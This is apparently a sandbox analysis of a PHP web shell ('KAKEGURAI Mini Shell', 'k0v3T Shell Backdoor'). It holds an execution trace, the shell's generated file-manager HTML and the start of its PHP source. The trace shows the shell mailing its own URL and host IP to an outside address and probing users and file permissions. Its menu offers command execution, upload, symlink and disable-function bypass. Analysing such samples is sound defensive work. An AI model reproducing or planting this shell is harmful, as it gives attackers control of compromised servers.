Unknown\r\n$info = \'u\';\r\n}\r\n\r\n// Owner\r\n$info .= (($perms & 0x0100) ? \'r\' : \'-\');\r\n$info .= (($perms & 0x0080) ? \'w\' : \'-\');\r\n$info .= (($perms & 0x0040) ?\r\n(($perms & 0x0800) ? \'s\' : \'x\' ) :\r\n(($perms & 0x0800) ? \'S\' : \'-\'));\r\n\r\n// Group\r\n$info .= (($perms & 0x0020) ? \'r\' : \'-\');\r\n$info .= (($perms & 0x0010) ? \'w\' : \'-\');\r\n$info .= (($perms & 0x0008) ?\r\n(($perms & 0x0400) ? \'s\' : \'x\' ) :\r\n(($perms & 0x0400) ? \'S\' : \'-\'));\r\n\r\n// World\r\n$info .= (($perms & 0x0004) ? \'r\' : \'-\');\r\n$info .= (($perms & 0x0002) ? \'w\' : \'-\');\r\n$info .= (($perms & 0x0001) ?\r\n(($perms & 0x0200) ? \'t\' : \'x\' ) :\r\n(($perms & 0x0200) ? \'T\' : \'-\'));\r\n\r\nreturn $info;\r\n}'	/var/www/html/uploads/Shell2.php	89	0
3	6	0	0.002403	707592	ini_set	0		/var/www/html/uploads/Shell2.php(89) : eval()'d code	1	2	'output_buffering'	0
3	6	1	0.002422	707664
3	6	R			FALSE
3	7	0	0.002436	707592	ini_set	0		/var/www/html/uploads/Shell2.php(89) : eval()'d code	2	2	'display_errors'	0
3	7	1	0.002452	707664
3	7	R			''
3	8	0	0.002465	707592	set_time_limit	0		/var/www/html/uploads/Shell2.php(89) : eval()'d code	3	1	0
3	8	1	0.002481	707656
3	8	R			FALSE
3	9	0	0.002494	707624	ini_set	0		/var/www/html/uploads/Shell2.php(89) : eval()'d code	4	2	'memory_limit'	'64M'
3	9	1	0.002509	707728
3	9	R			'128M'
3	10	0	0.002522	707624	header	0		/var/www/html/uploads/Shell2.php(89) : eval()'d code	5	1	'Content-Type: text/html; charset=UTF-8'
3	10	1	0.002540	707800
3	10	R			NULL
2		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	6	$tujuanmail = 'satyaaji1945@gmail.com'
2		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	7	$x_path = 'http://localhost/uploads/Shell2.php'
2		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	8	$pesan_alert = 'fix http://localhost/uploads/Shell2.php :p *IP Address : [ 127.0.0.1 ]'
3	11	0	0.002596	707968	mail	0		/var/www/html/uploads/Shell2.php(89) : eval()'d code	9	4	'satyaaji1945@gmail.com'	'LOGGER'	'fix http://localhost/uploads/Shell2.php :p *IP Address : [ 127.0.0.1 ]'	'[ 127.0.0.1 ]'
3	11	1	0.003544	708112
3	11	R			FALSE
3	12	0	0.003575	707928	set_time_limit	0		/var/www/html/uploads/Shell2.php(89) : eval()'d code	10	1	0
3	12	1	0.003594	707960
3	12	R			FALSE
3	13	0	0.003609	707928	error_reporting	0		/var/www/html/uploads/Shell2.php(89) : eval()'d code	11	1	0
3	13	1	0.003623	707968
3	13	R			22527
3	14	0	0.003636	707928	get_magic_quotes_gpc	0		/var/www/html/uploads/Shell2.php(89) : eval()'d code	22	0
3	14	1	0.003651	707928
3	14	R			FALSE
2		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	55	$nick = 'k0v3T'
3	15	0	0.003685	707928	getcwd	0		/var/www/html/uploads/Shell2.php(89) : eval()'d code	59	0
3	15	1	0.003700	707976
3	15	R			'/var/www/html/uploads'
2		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	59	$path = '/var/www/html/uploads'
3	16	0	0.003727	707976	getenv	0		/var/www/html/uploads/Shell2.php(89) : eval()'d code	61	1	'SERVER_SOFTWARE'
3	16	1	0.003746	708056
3	16	R			'Apache/2.4.52 (Ubuntu)'
2		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	61	$software = 'Apache/2.4.52 (Ubuntu)'
3	17	0	0.003774	708024	str_replace	0		/var/www/html/uploads/Shell2.php(89) : eval()'d code	62	3	'\\'	'/'	'/var/www/html/uploads'
3	17	1	0.003791	708120
3	17	R			'/var/www/html/uploads'
2		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	62	$path = '/var/www/html/uploads'
3	18	0	0.003817	708024	explode	0		/var/www/html/uploads/Shell2.php(89) : eval()'d code	63	2	'/'	'/var/www/html/uploads'
3	18	1	0.003833	708600
3	18	R			[0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
2		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	63	$paths = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
3	19	0	0.003867	708528	function_exists	0		/var/www/html/uploads/Shell2.php(89) : eval()'d code	68	1	'posix_getegid'
3	19	1	0.003882	708568
3	19	R			TRUE
3	20	0	0.003895	708528	posix_geteuid	0		/var/www/html/uploads/Shell2.php(89) : eval()'d code	74	0
3	20	1	0.003909	708528
3	20	R			33
3	21	0	0.003921	708528	posix_getpwuid	0		/var/www/html/uploads/Shell2.php(89) : eval()'d code	74	1	33
3	21	1	0.003957	709360
3	21	R			['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
2		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	74	$uid = ['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
3	22	0	0.004002	709328	posix_getegid	0		/var/www/html/uploads/Shell2.php(89) : eval()'d code	75	0
3	22	1	0.004015	709328
3	22	R			33
3	23	0	0.004027	709328	posix_getgrgid	0		/var/www/html/uploads/Shell2.php(89) : eval()'d code	75	1	33
3	23	1	0.004056	709992
3	23	R			['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
2		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	75	$gid = ['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
2		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	76	$user = 'www-data'
2		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	77	$uid = 33
2		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	78	$group = 'www-data'
2		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	79	$gid = 33
2		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	83	$id = 0
2		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	85	$a = TRUE
2		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	83	$id = 1
2		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	91	$i = 0
2		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	91	$i++
2		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	91	$i++
2		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	83	$id = 2
2		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	91	$i = 0
2		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	91	$i++
2		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	91	$i++
2		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	91	$i++
2		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	83	$id = 3
2		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	91	$i = 0
2		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	91	$i++
2		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	91	$i++
2		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	91	$i++
2		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	91	$i++
2		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	83	$id = 4
2		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	91	$i = 0
2		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	91	$i++
2		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	91	$i++
2		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	91	$i++
2		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	91	$i++
2		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	91	$i++
3	24	0	0.004370	708608	scandir	0		/var/www/html/uploads/Shell2.php(89) : eval()'d code	723	1	'/var/www/html/uploads'
3	24	1	0.004409	709232
3	24	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'Shell2.php', 4 => 'data', 5 => 'prepend.php']
2		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	723	$scandir = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'Shell2.php', 4 => 'data', 5 => 'prepend.php']
3	25	0	0.004450	709248	is_dir	0		/var/www/html/uploads/Shell2.php(89) : eval()'d code	733	1	'/var/www/html/uploads/.'
3	25	1	0.004468	709312
3	25	R			TRUE
3	26	0	0.004483	709280	is_dir	0		/var/www/html/uploads/Shell2.php(89) : eval()'d code	733	1	'/var/www/html/uploads/..'
3	26	1	0.004499	709328
3	26	R			TRUE
3	27	0	0.004512	709288	is_dir	0		/var/www/html/uploads/Shell2.php(89) : eval()'d code	733	1	'/var/www/html/uploads/.htaccess'
3	27	1	0.004529	709328
3	27	R			FALSE
3	28	0	0.004542	709296	is_dir	0		/var/www/html/uploads/Shell2.php(89) : eval()'d code	733	1	'/var/www/html/uploads/Shell2.php'
3	28	1	0.004558	709344
3	28	R			FALSE
3	29	0	0.004571	709296	is_dir	0		/var/www/html/uploads/Shell2.php(89) : eval()'d code	733	1	'/var/www/html/uploads/data'
3	29	1	0.004586	709328
3	29	R			TRUE
3	30	0	0.004601	709288	is_writable	0		/var/www/html/uploads/Shell2.php(89) : eval()'d code	739	1	'/var/www/html/uploads/data'
3	30	1	0.004620	709328
3	30	R			TRUE
3	31	0	0.004635	709288	perms	1		/var/www/html/uploads/Shell2.php(89) : eval()'d code	741	1	'/var/www/html/uploads/data'
4	32	0	0.004650	709288	fileperms	0		/var/www/html/uploads/Shell2.php(89) : eval()'d code	803	1	'/var/www/html/uploads/data'
4	32	1	0.004665	709328
4	32	R			16895
3		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	803	$perms = 16895
3		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	819	$info = 'd'
3		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	832	$info .= 'r'
3		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	833	$info .= 'w'
3		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	836	$info .= 'x'
3		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	839	$info .= 'r'
3		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	840	$info .= 'w'
3		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	843	$info .= 'x'
3		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	846	$info .= 'r'
3		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	847	$info .= 'w'
3		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	850	$info .= 'x'
3	31	1	0.004796	709328
3	31	R			'drwxrwxrwx'
3	33	0	0.004811	709288	is_writable	0		/var/www/html/uploads/Shell2.php(89) : eval()'d code	742	1	'/var/www/html/uploads/data'
3	33	1	0.004827	709328
3	33	R			TRUE
3	34	0	0.004852	709264	is_dir	0		/var/www/html/uploads/Shell2.php(89) : eval()'d code	733	1	'/var/www/html/uploads/prepend.php'
3	34	1	0.004870	709312
3	34	R			FALSE
3	35	0	0.004894	709256	is_file	0		/var/www/html/uploads/Shell2.php(89) : eval()'d code	761	1	'/var/www/html/uploads/.'
3	35	1	0.004911	709280
3	35	R			FALSE
3	36	0	0.004925	709248	is_file	0		/var/www/html/uploads/Shell2.php(89) : eval()'d code	761	1	'/var/www/html/uploads/..'
3	36	1	0.004940	709296
3	36	R			FALSE
3	37	0	0.004953	709256	is_file	0		/var/www/html/uploads/Shell2.php(89) : eval()'d code	761	1	'/var/www/html/uploads/.htaccess'
3	37	1	0.004968	709296
3	37	R			TRUE
3	38	0	0.004981	709256	filesize	0		/var/www/html/uploads/Shell2.php(89) : eval()'d code	762	1	'/var/www/html/uploads/.htaccess'
3	38	1	0.004995	709296
3	38	R			64
2		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	762	$size = 0.0625
3	39	0	0.005021	709200	round	0		/var/www/html/uploads/Shell2.php(89) : eval()'d code	763	2	0.0625	3
3	39	1	0.005036	709272
3	39	R			0.063
2		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	763	$size = 0.063
2		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	767	$size = '0.063 KB'
3	40	0	0.005080	709296	is_writable	0		/var/www/html/uploads/Shell2.php(89) : eval()'d code	775	1	'/var/www/html/uploads/.htaccess'
3	40	1	0.005098	709336
3	40	R			FALSE
3	41	0	0.005111	709296	is_readable	0		/var/www/html/uploads/Shell2.php(89) : eval()'d code	776	1	'/var/www/html/uploads/.htaccess'
3	41	1	0.005127	709336
3	41	R			TRUE
3	42	0	0.005141	709296	perms	1		/var/www/html/uploads/Shell2.php(89) : eval()'d code	777	1	'/var/www/html/uploads/.htaccess'
4	43	0	0.005154	709296	fileperms	0		/var/www/html/uploads/Shell2.php(89) : eval()'d code	803	1	'/var/www/html/uploads/.htaccess'
4	43	1	0.005168	709336
4	43	R			33188
3		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	803	$perms = 33188
3		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	813	$info = '-'
3		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	832	$info .= 'r'
3		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	833	$info .= 'w'
3		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	836	$info .= '-'
3		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	839	$info .= 'r'
3		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	840	$info .= '-'
3		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	843	$info .= '-'
3		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	846	$info .= 'r'
3		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	847	$info .= '-'
3		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	850	$info .= '-'
3	42	1	0.005294	709336
3	42	R			'-rw-r--r--'
3	44	0	0.005308	709296	is_writable	0		/var/www/html/uploads/Shell2.php(89) : eval()'d code	778	1	'/var/www/html/uploads/.htaccess'
3	44	1	0.005324	709336
3	44	R			FALSE
3	45	0	0.005337	709296	is_readable	0		/var/www/html/uploads/Shell2.php(89) : eval()'d code	778	1	'/var/www/html/uploads/.htaccess'
3	45	1	0.005353	709336
3	45	R			TRUE
3	46	0	0.005367	709304	is_file	0		/var/www/html/uploads/Shell2.php(89) : eval()'d code	761	1	'/var/www/html/uploads/Shell2.php'
3	46	1	0.005382	709352
3	46	R			TRUE
3	47	0	0.005395	709312	filesize	0		/var/www/html/uploads/Shell2.php(89) : eval()'d code	762	1	'/var/www/html/uploads/Shell2.php'
3	47	1	0.005408	709352
3	47	R			54046
2		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	762	$size = 52.779296875
3	48	0	0.005433	709208	round	0		/var/www/html/uploads/Shell2.php(89) : eval()'d code	763	2	52.779296875	3
3	48	1	0.005447	709280
3	48	R			52.779
2		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	763	$size = 52.779
2		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	767	$size = '52.779 KB'
3	49	0	0.005485	709312	is_writable	0		/var/www/html/uploads/Shell2.php(89) : eval()'d code	775	1	'/var/www/html/uploads/Shell2.php'
3	49	1	0.005501	709352
3	49	R			FALSE
3	50	0	0.005515	709312	is_readable	0		/var/www/html/uploads/Shell2.php(89) : eval()'d code	776	1	'/var/www/html/uploads/Shell2.php'
3	50	1	0.005530	709352
3	50	R			TRUE
3	51	0	0.005543	709312	perms	1		/var/www/html/uploads/Shell2.php(89) : eval()'d code	777	1	'/var/www/html/uploads/Shell2.php'
4	52	0	0.005556	709312	fileperms	0		/var/www/html/uploads/Shell2.php(89) : eval()'d code	803	1	'/var/www/html/uploads/Shell2.php'
4	52	1	0.005570	709352
4	52	R			33204
3		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	803	$perms = 33204
3		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	813	$info = '-'
3		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	832	$info .= 'r'
3		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	833	$info .= 'w'
3		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	836	$info .= '-'
3		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	839	$info .= 'r'
3		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	840	$info .= 'w'
3		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	843	$info .= '-'
3		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	846	$info .= 'r'
3		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	847	$info .= '-'
3		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	850	$info .= '-'
3	51	1	0.005703	709352
3	51	R			'-rw-rw-r--'
3	53	0	0.005718	709312	is_writable	0		/var/www/html/uploads/Shell2.php(89) : eval()'d code	778	1	'/var/www/html/uploads/Shell2.php'
3	53	1	0.005778	709352
3	53	R			FALSE
3	54	0	0.005793	709312	is_readable	0		/var/www/html/uploads/Shell2.php(89) : eval()'d code	778	1	'/var/www/html/uploads/Shell2.php'
3	54	1	0.005809	709352
3	54	R			TRUE
3	55	0	0.005824	709304	is_file	0		/var/www/html/uploads/Shell2.php(89) : eval()'d code	761	1	'/var/www/html/uploads/data'
3	55	1	0.005840	709336
3	55	R			FALSE
3	56	0	0.005854	709304	is_file	0		/var/www/html/uploads/Shell2.php(89) : eval()'d code	761	1	'/var/www/html/uploads/prepend.php'
3	56	1	0.005870	709352
3	56	R			TRUE
3	57	0	0.005883	709312	filesize	0		/var/www/html/uploads/Shell2.php(89) : eval()'d code	762	1	'/var/www/html/uploads/prepend.php'
3	57	1	0.005897	709352
3	57	R			57
2		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	762	$size = 0.0556640625
3	58	0	0.005922	709208	round	0		/var/www/html/uploads/Shell2.php(89) : eval()'d code	763	2	0.0556640625	3
3	58	1	0.005936	709280
3	58	R			0.056
2		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	763	$size = 0.056
2		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	767	$size = '0.056 KB'
3	59	0	0.006128	709312	is_writable	0		/var/www/html/uploads/Shell2.php(89) : eval()'d code	775	1	'/var/www/html/uploads/prepend.php'
3	59	1	0.006149	709352
3	59	R			FALSE
3	60	0	0.006163	709312	is_readable	0		/var/www/html/uploads/Shell2.php(89) : eval()'d code	776	1	'/var/www/html/uploads/prepend.php'
3	60	1	0.006179	709352
3	60	R			TRUE
3	61	0	0.006192	709312	perms	1		/var/www/html/uploads/Shell2.php(89) : eval()'d code	777	1	'/var/www/html/uploads/prepend.php'
4	62	0	0.006206	709312	fileperms	0		/var/www/html/uploads/Shell2.php(89) : eval()'d code	803	1	'/var/www/html/uploads/prepend.php'
4	62	1	0.006220	709352
4	62	R			33261
3		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	803	$perms = 33261
3		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	813	$info = '-'
3		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	832	$info .= 'r'
3		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	833	$info .= 'w'
3		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	836	$info .= 'x'
3		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	839	$info .= 'r'
3		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	840	$info .= '-'
3		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	843	$info .= 'x'
3		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	846	$info .= 'r'
3		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	847	$info .= '-'
3		A						/var/www/html/uploads/Shell2.php(89) : eval()'d code	850	$info .= 'x'
3	61	1	0.006349	709352
3	61	R			'-rwxr-xr-x'
3	63	0	0.006364	709312	is_writable	0		/var/www/html/uploads/Shell2.php(89) : eval()'d code	778	1	'/var/www/html/uploads/prepend.php'
3	63	1	0.006380	709352
3	63	R			FALSE
3	64	0	0.006394	709312	is_readable	0		/var/www/html/uploads/Shell2.php(89) : eval()'d code	778	1	'/var/www/html/uploads/prepend.php'
3	64	1	0.006410	709352
3	64	R			TRUE
2	5	1	0.006429	709248
1	3	1	0.006466	518528
			0.006503	436232
TRACE END   [2023-02-12 21:17:40.564541]


Generated HTML code

<html><head>
  <link href="http://res7ock.org/assets/img/favicon.png" rel="shortcut icon" alt="icon">
  <title>KAKEGURAI MINI SHELL</title>
</head><body><center><h1><font face="Sarpanch"> ⚜ KAKEGURAI Mini Shell ⚜</font></h1></center><font face="Sarpanch">
  <meta name="author" content="KAKEGURAI">
  <meta charset="UTF-8">
  <link href="" rel="stylesheet" type="text/css">

<style>
body{
font-family: "Sarpanch", cursive;
	background-image: url("http://www.al-mubarok.com/wp-content/uploads/2017/11/380624.jpg");
	color:red;
	background-attachment:fixed;
	background-repeat:no-repeat;
	background-position:center;
	background-color:#000;
	-webkit-background-size: 100% 100%;
}
#content tr:hover{
background-color: #5ddcfc;
text-shadow:1px 0px 0px #000;
}
#content .first{
background-color: #5ddcfc;
font-weight: bold;
}
H1{
color:#5ddcfc;
font-family: "Sarpanch", cursive;
}
#content .first:hover{
background-color: #5ddcfc;
text-shadow:1px 0px 0px #000;
}
table{
border: 0px red solid;
}
a{
color: red;
text-decoration: none;
}
a:hover{
color: red;
text-shadow:1px 0px 0px #000;
}
.tombols{
background:black;
color:#5ddcfc;
border-top:0;
border-left:0;
border-right:0;
border: 2px white solid;
padding:5px 8px;
text-decoration:none;
font-family: 'Sarpanch', sans-serif;
border-radius:5px;
}
textarea{
color:#5ddcfc;
background-color:transparent;
font-weight: bold;
padding:5px 8px;
font-family: "Sarpanch", cursive;
border: 2px white solid;
-moz-border-radius: 5px;
-webkit-border-radius:5px;
border-radius:5px;
}
input,select{
color:#5ddcfc;
background-color:black;
font-weight: bold;
font-family: "Sarpanch", cursive;
border: 2px white solid;
}
</style>





<link href="https://fonts.googleapis.com/css?family=Courgette" rel="stylesheet">
<link href="https://fonts.googleapis.com/css?family=Sarpanch|Teko" rel="stylesheet">

<br><b><i><center><font color="#5ddcfc" size="3">Current Dir : </font><a href="?path=/">/</a><a href="?path=/var"><font color="red" size="3">var</font></a>/<a href="?path=/var/www"><font color="red" size="3">www</font></a>/<a href="?path=/var/www/html"><font color="red" size="3">html</font></a>/<hr color="#5ddcfc">
<br><center>
<font size="3"><a href="?" class="tombols">Home</a>
<font size="3"><a href="?path=/var/www/html&amp;a=upload" class="tombols">Upload</a>
<font size="3"><a href="?path=/var/www/html&amp;a=cmd" class="tombols">Command</a>
<font size="3"><a href="?path=/var/www/html&amp;a=configv2" class="tombols">Config</a>
<font size="3"><a href="?path=/var/www/html&amp;a=jumping" class="tombols">Jumping</a>
<br><br>

<font size="3"><a href="?path=/var/www/html&amp;a=symlink" class="tombols">Symlink</a>
<font size="3"><a href="?path=/var/www/html&amp;a=disablefunc" class="tombols">Bypass Disable Function</a>

</font></font></font></font></font></font></font></center><font size="3"><font size="3"><font size="3"><br>
<hr color="#5ddcfc"><center><br><center></center><div id="content"><b></b><b></b><b></b><b></b><table width="700px" border="0" cellpadding="4" cellspacing="1" align="center">
<tbody><tr class="first">
<td><center><font color="black" size="3">Name</font></center></td>
<td><center><font color="black" size="3">Size</font></center></td>
<td><center><font color="black" size="3">Permissions</font></center></td>
<td><center><font color="black" size="3">Options</font></center></td>
</tr><tr class="first"><td></td><td></td><td></td><td></td></tr><tr>
<td><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=">
<a href="?filesrc=/var/www/html/Shell2.php&amp;path=/var/www/html"><font color="red">Shell2.php</font></a></td>
<td><center><font color="Red">52.779 KB</font></center></td>
<td><center>-rw-rw-r--</center></td>
<td><center><form method="POST" action="?option&amp;path=/var/www/html">
<select name="opt">
<option value="Select">Select</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
<option value="edit">Edit</option>
</select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="Shell2.php">
<input type="hidden" name="path" value="/var/www/html/Shell2.php">
<input type="submit" value=">">
</form></center></td>
</tr><tr>
<td><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=">
<a href="?filesrc=/var/www/html/beneri.se_malware_analysis&amp;path=/var/www/html"><font color="red">beneri.se_malware_analysis</font></a></td>
<td><center><font color="Red">0 KB</font></center></td>
<td><center>-rw-r--r--</center></td>
<td><center><form method="POST" action="?option&amp;path=/var/www/html">
<select name="opt">
<option value="Select">Select</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
<option value="edit">Edit</option>
</select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="beneri.se_malware_analysis">
<input type="hidden" name="path" value="/var/www/html/beneri.se_malware_analysis">
<input type="submit" value=">">
</form></center></td>
</tr></tbody></table>
</div><br><center><font size="3" ;="" color="red">k0v3T Shell Backdoor  V.01<br><font size="4" ;="" color="#5ddcfc">Copyright © <font color="red">Indonesian Hacker Community</font><br>


</font></font></center></center></font></font></font></center></i></b></font></body></html>

Original PHP code

<html>
  <head>
  <link href='http://res7ock.org/assets/img/favicon.png' rel='shortcut icon' alt='icon'>
  <title>KAKEGURAI MINI SHELL</title>
<center><h1><font face="Sarpanch"> &#9884; KAKEGURAI Mini Shell &#9884;</h1></center>
  <meta name='author' content='KAKEGURAI'>
  <meta charset="UTF-8">
  <link href="" rel="stylesheet" type="text/css">

<style>
body{
font-family: "Sarpanch", cursive;
	background-image: url("http://www.al-mubarok.com/wp-content/uploads/2017/11/380624.jpg");
	color:red;
	background-attachment:fixed;
	background-repeat:no-repeat;
	background-position:center;
	background-color:#000;
	-webkit-background-size: 100% 100%;
}
